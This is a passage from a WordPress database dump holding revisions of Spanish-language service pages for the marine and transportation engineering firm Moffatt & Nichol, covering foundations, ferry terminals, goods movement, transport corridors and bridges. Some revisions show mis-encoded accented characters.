class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/tranportation.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"5\">corredor de transporte</h1>\nMoffatt & Nichol es un líder reconocido en el planeamiento, diseño, obtención de fondos y gestión de corredores de transporte de movimiento de mercancías, incluyendo Corredores comerciales críticos.  Las agencias de transporte en todos los niveles tienen el reto de cubrir las crecientes necesidades del transporte terrestre y de cumplir su importante papel en mantener y aumentar la vitalidad económica.\n\nMoffatt & Nichol ofrece una ventaja única con la experiencia profesional integrada de la firma en ingeniería, economía y financiamiento, para proyectos de transporte y movimiento de mercancías, incluyendo sistemas marítimos, intermodales y terrestres. Moffatt & Nichol aplica esta experiencia profesional a una variedad de proyectos, como los corredores de transporte intermodal, incluyendo el premiado Corredor Alameda de $2.500 millones, puertos comerciales y transporte marítimo, así como proyectos de transporte en carreteras y ferrocarriles. Moffatt & Nichol ha atendido a clientes públicos y privados en más de 40 países.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de transporte','','inherit','open','open','','634-autosave','','','2012-09-12 06:37:23','2012-09-12 06:37:23','',634,'http://moffattnichol.com/spanish/634-autosave/',0,'revision','',0),(2480,1,'2011-11-14 04:23:54','2011-11-14 04:23:54','<div class=\"content_faq\">\n[vslider name=\"transportation\"] <h3>transportation</h3>\n  <div class=\"global-services_one\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/deep-foundation.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"1\">cimentaciones profundas</h1>\nMoffatt & Nichol proporciona servicios especializados para cimentaciones profundas en ambientes marÃtimos y acuÃ¡ticos.  Los grandes proyectos de ingenierÃa marÃtima y fluvial requieren diseÃ±adores para coordinar las mÃºltiples disciplinas de ingenierÃa y para entender los mÃ©todos de construcciÃ³n en el momento del diseÃ±o de concepto y de la selecciÃ³n del tipo. Las dificultades incluyen condiciones de suelo dÃ©bil y mÃ©todos en los cuales las estructuras grandes y pesadas se pueden construir usando equipo flotante que es vulnerable a vientos, olas y corrientes. Estas olas y corrientes tambiÃ©n pueden socavar las cimentaciones de la estructura a grandes profundidades. Finalmente, los buques grandes pueden golpear la estructura, aplicando cargas extremadamente grandes. El Grupo de cimentaciones marÃtimas de Moffatt & Nichol es Ãºnico en su capacidad de proporcionar un anÃ¡lisis y un diseÃ±o de ingenierÃa integrales que cubren, integran y equilibran todas estas Ã¡reas de servicio especializadas.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/fery.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"2\">terminales de transbordadores</h1>\nComo una de las mayores firmas internacionales de ingenierÃa y consultorÃa marÃtimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseÃ±o de terminales de transbordadores de pasajeros y RoPax asÃ como sus instalaciones correspondientes en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y anÃ¡lisis econÃ³micos hasta el planeamiento, diseÃ±o, gestiÃ³n del programa y apoyo en la construcciÃ³n. La firma ha sido responsable de proyectos tan diversos como instalaciones de frentes urbanos y en tierra para grandes transbordadores de pasajeros y carga hasta operaciones mÃ¡s pequeÃ±as de taxis acuÃ¡ticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operaciÃ³n de las terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a aquellos en la comunidad marÃtima, el sector gubernamental, el sector de logÃstica y a la comunidad de inversionistas.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/global.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"3\">servicios consultivos comerciales globales</h1>\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las Ã¡reas de anÃ¡lisis de carga de contenedores y planeamiento econÃ³mico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte e inversionistas privados y pÃºblicos.\n\nNuestro grupo abarca una combinaciÃ³n de especialistas en economÃa, logÃstica, finanzas, gestiÃ³n y operaciones, con experiencia profesional en una organizaciÃ³n novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratÃ©gico hasta la creaciÃ³n de un proyecto factible que pueda ser diseÃ±ado, construido y puesto en funcionamiento.\n\nÃšnica en el mercado, la experiencia profesional de Moffatt & Nichol en el anÃ¡lisis y pronÃ³stico de los mercados de carga de contenedores, logÃstica de transporte y estrategias de inversiÃ³n, es complementada por las prÃ¡cticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribuciÃ³n logÃstica. Moffatt & Nichol ha proporcionado la diligencia comercial debida para muchas transacciones de infraestructura marÃtima importantes en la dÃ©cada pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geogrÃ¡fica del grupo de servicios comerciales consultivos incluye proyectos terminados en NorteamÃ©rica, SudamÃ©rica y AmÃ©rica Central, el Caribe, Europa, Ãfrica, el Medio Oriente y Asia.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/goods.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"4\">movimiento de mercancÃas</h1>\nMoffatt &Nichol, internacionalmente reconocido como lÃder en el planeamiento y diseÃ±o de puertos y terminales marÃtimas, amplÃa su experiencia profesional a la compleja infraestructura que apoya el movimiento de mercancÃas y la logÃstica. Ãšnica en el mercado, la experiencia profesional de Moffatt & Nichol en el anÃ¡lisis y pronÃ³stico de los mercados de carga de contenedores, logÃstica de transporte y estrategias de inversiÃ³n, es complementada por las prÃ¡cticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribuciÃ³n logÃstica. \n\nLa especializaciÃ³n de Moffatt & Nichol se ha ampliado para apoyar las mayores demandas de la industria de movimiento de mercancÃas a nivel global. Hoy en dÃa, con una cartera de mÃ¡s de 6.000 proyectos, la firma proporciona a sus clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en el sello distintivo de Moffatt & Nichol.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/tranportation.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"5\">corredor de transporte</h1>\nMoffatt & Nichol es un lÃder reconocido en el planeamiento, diseÃ±o, obtenciÃ³n de fondos y gestiÃ³n de corredores de transporte de movimiento de mercancÃas, incluyendo Corredores comerciales crÃticos.  Las agencias de transporte en todos los niveles tienen el reto de cubrir las crecientes necesidades del transporte terrestre y de cumplir su importante papel en mantener y aumentar la vitalidad econÃ³mica.\n\nMoffatt & Nichol ofrece una ventaja Ãºnica con la experiencia profesional integrada de la firma en ingenierÃa, economÃa y financiamiento, para proyectos de transporte y movimiento de mercancÃas, incluyendo sistemas marÃtimos, intermodales y terrestres. Moffatt & Nichol aplica esta experiencia profesional a una variedad de proyectos, como los corredores de transporte intermodal, incluyendo el premiado Corredor Alameda de $2.500 millones, puertos comerciales y transporte marÃtimo, asÃ como proyectos de transporte en carreteras y ferrocarriles. Moffatt & Nichol ha atendido a clientes pÃºblicos y privados en mÃ¡s de 40 paÃses.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de transporte','','inherit','open','open','','634-revision','','','2011-11-14 04:23:54','2011-11-14 04:23:54','',634,'http://moffattnichol.com/spanish/634-revision/',0,'revision','',0),(2481,1,'2012-06-15 06:20:47','2012-06-15 06:20:47','<div class=\"content_faq\">\r\n[vslider name=\"transportation\"] <h3>transportation</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/deep-foundation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">cimentaciones profundas</h1>\r\nMoffatt & Nichol proporciona servicios especializados para cimentaciones profundas en ambientes marítimos y acuáticos.  Los grandes proyectos de ingeniería marítima y fluvial requieren diseñadores para coordinar las múltiples disciplinas de ingeniería y para entender los métodos de construcción en el momento del diseño de concepto y de la selección del tipo. Las dificultades incluyen condiciones de suelo débil y métodos en los cuales las estructuras grandes y pesadas se pueden construir usando equipo flotante que es vulnerable a vientos, olas y corrientes. Estas olas y corrientes también pueden socavar las cimentaciones de la estructura a grandes profundidades. Finalmente, los buques grandes pueden golpear la estructura, aplicando cargas extremadamente grandes. El Grupo de cimentaciones marítimas de Moffatt & Nichol es único en su capacidad de proporcionar un análisis y un diseño de ingeniería integrales que cubren, integran y equilibran todas estas áreas de servicio especializadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/fery.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">terminales de transbordadores</h1>\r\nComo una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de terminales de transbordadores de pasajeros y RoPax así como sus instalaciones correspondientes en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y análisis económicos hasta el planeamiento, diseño, gestión del programa y apoyo en la construcción. La firma ha sido responsable de proyectos tan diversos como instalaciones de frentes urbanos y en tierra para grandes transbordadores de pasajeros y carga hasta operaciones más pequeñas de taxis acuáticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operación de las terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a aquellos en la comunidad marítima, el sector gubernamental, el sector de logística y a la comunidad de inversionistas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/global.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">servicios consultivos comerciales globales</h1>\r\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte e inversionistas privados y públicos.\r\n\r\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n\r\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la diligencia comercial debida para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/goods.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">movimiento de mercancÃas</h1>\r\nMoffatt &Nichol, internacionalmente reconocido como lÃder en el planeamiento y diseÃ±o de puertos y terminales marÃtimas, amplÃa su experiencia profesional a la compleja infraestructura que apoya el movimiento de mercancÃas y la logÃstica. Ãšnica en el mercado, la experiencia profesional de Moffatt & Nichol en el anÃ¡lisis y pronÃ³stico de los mercados de carga de contenedores, logÃstica de transporte y estrategias de inversiÃ³n, es complementada por las prÃ¡cticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribuciÃ³n logÃstica. \r\n\r\nLa especializaciÃ³n de Moffatt & Nichol se ha ampliado para apoyar las mayores demandas de la industria de movimiento de mercancÃas a nivel global. Hoy en dÃa, con una cartera de mÃ¡s de 6.000 proyectos, la firma proporciona a sus clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en el sello distintivo de Moffatt & Nichol.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/tranportation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">corredor de transporte</h1>\r\nMoffatt & Nichol es un lÃder reconocido en el planeamiento, diseÃ±o, obtenciÃ³n de fondos y gestiÃ³n de corredores de transporte de movimiento de mercancÃas, incluyendo Corredores comerciales crÃticos.  Las agencias de transporte en todos los niveles tienen el reto de cubrir las crecientes necesidades del transporte terrestre y de cumplir su importante papel en mantener y aumentar la vitalidad econÃ³mica.\r\n\r\nMoffatt & Nichol ofrece una ventaja Ãºnica con la experiencia profesional integrada de la firma en ingenierÃa, economÃa y financiamiento, para proyectos de transporte y movimiento de mercancÃas, incluyendo sistemas marÃtimos, intermodales y terrestres. Moffatt & Nichol aplica esta experiencia profesional a una variedad de proyectos, como los corredores de transporte intermodal, incluyendo el premiado Corredor Alameda de $2.500 millones, puertos comerciales y transporte marÃtimo, asÃ como proyectos de transporte en carreteras y ferrocarriles. Moffatt & Nichol ha atendido a clientes pÃºblicos y privados en mÃ¡s de 40 paÃses.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de transporte','','inherit','open','open','','634-revision-2','','','2012-06-15 06:20:47','2012-06-15 06:20:47','',634,'http://moffattnichol.com/spanish/634-revision-2/',0,'revision','',0),(2482,1,'2012-09-10 10:56:23','2012-09-10 10:56:23','<div class=\"content_faq\">[anything_slides cat=bridges width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\n<h1>puentes</h1>\n<div class=\"global-services_one\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\" style=\"width: 247px; height: 186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h3 id=\"3\">capacidades y experiencia profesional</h3>\nHasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\n<ul>\n	<li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\n	<li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\n	<li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\n</ul>\n<div class=\"clear\"></div>\n</div>\n<div class=\"press-release-para\">Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt &amp; Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas.\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\n<div class=\"bridges-left\">\n<div class=\"divider-line\">Tipos de proyecto</div>\nProyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción\n\nRehabilitación de puentes\n\nEnsanchamiento y reemplazo de puentes\n\nInstalaciones para nuevos puentes y carreteras\n\nPuentes en caminos locales\n\nPasos elevados de autopistas\n\nPasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel\n\nCarriles guía de tren ligero y estaciones elevadas\n\nEstructuras de muelles y frentes costeros\n\nPuentes para peatones y bicicletas\n\nPuentes en concreto, acero y madera\n\nPuentes sobre áreas medioambientalmente sensibles\n<div class=\"divider-line\">Construcción</div>\nEtapas de la construcción y mantenimiento del tráfico\n\nEstudios de la factibilidad de construcción e Ingeniería del valor\n\nIngeniería y apoyo de la construcción\n\nAnálisis de la construcción en función del tiempo\n\nInspección de la construcción\n\nPlanos según construcción y conciliación\n\nRepresentación del diseñador-constructor y del propietario\n\n</div>\n<div class=\"bridges-right\">\n<div class=\"divider-line\">Planeamiento</div>\nEstudios de factibilidad y planeamiento\n\nDiseño conceptual\n\nEstimados de costos\n\nSelección del tipo de estructura\n\nEstudios y documentación medioambientales\n<div class=\"divider-line\">Diseño</div>\nDiseño preliminar y final\n\nPlanos, especificaciones y estimados\n\nDiseño antisísmico y modificación\n\nEstudios hidráulicos y de socavación\n\nEstudios de colisión de buques\n\nEstudios de carga de hielo\n\nDiseño de cimentación profunda\n\nSocavación de puentes\n\nAnálisis de la marejada ciclónica\n<div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\nInspección por encima/debajo del nivel del agua con certificación NBIS\n\nMuestreo y prueba de materiales\n\nModelación de la vida de servicio (Estructuras de concreto)\n\nServicios de diseño de reparación/rehabilitación\n\nServicios de la fase de construcción\n<div class=\"divider-line\">Otros servicios</div>\nEstética de puentes y Soluciones sensibles al contexto\n\nCapacidad de carga de puentes\n\nAnálisis avanzado de elementos finitos\n\nCoordinación y reubicación de equipos de servicios públicos\n\nDiseño de calzadas y accesos\n\n</div>\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"border\"></div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h3 id=\"1\">caminos y puentes</h3>\nMoffatt &amp; Nichol ofrece una gama completa de servicios de planeamiento, diseño, obtención de fondos y gestión para proyectos de puentes y carreteras.\n\nMoffatt &amp; Nichol ofrece su especial experiencia profesional en los aspectos económicos y financieros, gestión de programas, análisis sísmico, cimentaciones marítimas profundas, sistemas intermodales, impacto de buques y análisis de socavación del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseño y la construcción.\n\nAdemás del diseño convencional de carreteras, nuestras capacidades estructurales incluyen la inspección, planeamiento, análisis, diseño y preparación de la documentación de la construcción para la rehabilitación, modificación o nueva construcción de puentes, caballetes para puentes y pasos a desnivel. Moffatt &amp; Nichol ha planeado o diseñado más de 500 puentes, que comprenden desde una de las autopistas más largas del mundo o intercambios de autopistas como El Toro “Y” en Irvine, California, hasta el proyecto de reemplazo del puente de la bahía Oakland de $5.500 millones.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"border\"></div>\n<div class=\"global-services_two\">\n<div class=\"ports_left\">\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" alt=\"\" /></div>\n</div>\n<div class=\"ports-harbours-right\">\n<h3 id=\"2\">análisis de socavación</h3>\nMoffatt &amp; Nichol tiene experiencia profesional interna especializada en dinámica fluvial y de mareas, transporte de sedimentos/análisis de socavación, ingeniería costera e hidrología e hidráulica. Aplicando esta experiencia profesional junto con nuestra capacidad de modelación numérica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavación para puentes en diversas condiciones de ubicación. Hemos realizado la clasificación de la socavación de más de 1.000 puentes usando procedimientos FHWA, realizado análisis de socavación de más de 50 puentes y desarrollado contramedidas de diseño para muchos puentes con socavación crítica. En el puente de la bahía de Oakland, San Francisco, Moffatt &amp; Nichol realizó recientemente la modelación numérica hidrodinámica y la prueba del modelo físico para pronosticar la posible socavación. El nivel de socavación fue sustancialmente menor que el pronosticado usando una fórmula empírica.\n\nAdemás, Moffatt &amp; Nichol es un líder internacional reconocido en el análisis y diseño de la prevención de colisión de naves y de sistemas de protección.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n</div>\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','servicios de caminos y puentes','','inherit','open','open','','640-autosave','','','2012-09-10 10:56:23','2012-09-10 10:56:23','',640,'http://moffattnichol.com/spanish/640-autosave/',0,'revision','',0),(2483,1,'2011-11-14 04:32:49','2011-11-14 04:32:49','<div class=\"content_faq\">\n[vslider name=\"bridges\"]\n  <h1>puentes</h1>\n  <div class=\"global-services_one\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\" style=\"width:247px; height:186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n  <h3 id=\"3\">capacidades y experiencia profesional</h3> Hasta la fecha, hemos proporcionado dichos servicios para mÃ¡s de 500 puentes, incluyendo proyectos extraordinarios tales como:\n <ul>\n      <li>Reemplazo del tramo este, Puente de la BahÃa de San Francisco â€“ Oakland, California - en construcciÃ³n</li>\n      <li>Corredor de transporte Alameda, sur de California â€“ una vÃa rÃ¡pida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\n      <li>El Toro â€œYâ€, sur de California, California â€“ uno de los intercambios de autopistas mÃ¡s grandes del mundo</li>\n    </ul>\n<div class=\"clear\"></div>\n    </div>\n    <div class=\"press-release-para\">\n AdemÃ¡s de los servicios de ingenierÃa estructural generalmente asociados con el diseÃ±o de puentes, Moffatt & Nichol tambiÃ©n ofrece su amplia y minuciosa experiencia con el anÃ¡lisis de elementos finitos para cargas de terremotos y con bases mÃ¡s allÃ¡ del diseÃ±o para dichas estructuras, que se utiliza tanto en el diseÃ±o de estructuras crÃticamente importantes nuevas y modificadas. &nbsp;\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\n    <div class=\"bridges-left\">\n      <div class=\"divider-line\">Tipos de proyecto</div>\n      <p> Proyectos DiseÃ±o-LicitaciÃ³n-ConstrucciÃ³n, P3 y DiseÃ±o-ConstrucciÃ³n<br />\n        RehabilitaciÃ³n de puentes<br />\n        Ensanchamiento y reemplazo de puentes<br />\n        Instalaciones para nuevos puentes y carreteras<br />\n        Puentes en caminos locales<br />\n        Pasos elevados de autopistas<br />\n        Pasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel<br />\n        Carriles guÃa de tren ligero y estaciones elevadas<br />\n        Estructuras de muelles y frentes costeros<br />\n        Puentes para peatones y bicicletas<br />\n        Puentes en concreto, acero y madera<br />\n        Puentes sobre Ã¡reas medioambientalmente sensibles<br />\n      </p>\n      <div class=\"divider-line\">ConstrucciÃ³n</div>\n      <p> Etapas de la construcciÃ³n y mantenimiento del trÃ¡fico<br />\n        Estudios de la factibilidad de construcciÃ³n e IngenierÃa del valor<br />\n        IngenierÃa y apoyo de la construcciÃ³n<br />\n        AnÃ¡lisis de la construcciÃ³n en funciÃ³n del tiempo<br />\n        InspecciÃ³n de la construcciÃ³n<br />\n        Planos segÃºn construcciÃ³n y conciliaciÃ³n<br />\n        RepresentaciÃ³n del diseÃ±ador-constructor y del propietario<br />\n      </p>\n    </div>\n    <div class=\"bridges-right\">\n      <div class=\"divider-line\">Planeamiento</div>\n      <p>Estudios de factibilidad y planeamiento<br />\n        DiseÃ±o conceptual<br />\n        Estimados de costos<br />\n        SelecciÃ³n del tipo de estructura<br />\n        Estudios y documentaciÃ³n medioambientales<br />\n      </p>\n      <div class=\"divider-line\">DiseÃ±o</div>\n      <p> DiseÃ±o preliminar y final<br />\n        Planos, especificaciones y estimados<br />\n        DiseÃ±o antisÃsmico y modificaciÃ³n<br />\n        Estudios hidrÃ¡ulicos y de socavaciÃ³n<br />\n        Estudios de colisiÃ³n de buques<br />\n        Estudios de carga de hielo<br />\n        DiseÃ±o de cimentaciÃ³n profunda<br />\n        SocavaciÃ³n de puentes<br />\n        AnÃ¡lisis de la marejada ciclÃ³nica<br />\n      </p>\n      <div class=\"divider-line\">InspecciÃ³n y rehabilitaciÃ³n de puentes</div>\n      <p> InspecciÃ³n por encima/debajo del nivel del agua con certificaciÃ³n NBIS<br />\n        Muestreo y prueba de materiales<br />\n        ModelaciÃ³n de la vida de servicio (Estructuras de concreto)<br />\n        Servicios de diseÃ±o de reparaciÃ³n/rehabilitaciÃ³n<br />\n        Servicios de la fase de construcciÃ³n<br />\n      </p>\n      <div class=\"divider-line\">Otros servicios</div>\n      <p> EstÃ©tica de puentes y Soluciones sensibles al contexto<br />\n        Capacidad de carga de puentes<br />\n        AnÃ¡lisis avanzado de elementos finitos<br />\n        CoordinaciÃ³n y reubicaciÃ³n de equipos de servicios pÃºblicos<br />\n        DiseÃ±o de calzadas y accesos<br />\n      </p>\n    </div>\n    <br />\n    &nbsp; &nbsp; &nbsp;\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n      </div>\n  </div>\n  <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h3 id=\"1\">caminos y puentes</h3> Moffatt & Nichol ofrece una gama completa de servicios de planeamiento, diseÃ±o, obtenciÃ³n de fondos y gestiÃ³n para proyectos de puentes y carreteras.\n  \nMoffatt & Nichol ofrece su especial experiencia profesional en los aspectos econÃ³micos y financieros, gestiÃ³n de programas, anÃ¡lisis sÃsmico, cimentaciones marÃtimas profundas, sistemas intermodales, impacto de buques y anÃ¡lisis de socavaciÃ³n del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseÃ±o y la construcciÃ³n. \n \nAdemÃ¡s del diseÃ±o convencional de carreteras, nuestras capacidades estructurales incluyen la inspecciÃ³n, planeamiento, anÃ¡lisis, diseÃ±o y preparaciÃ³n de la documentaciÃ³n de la 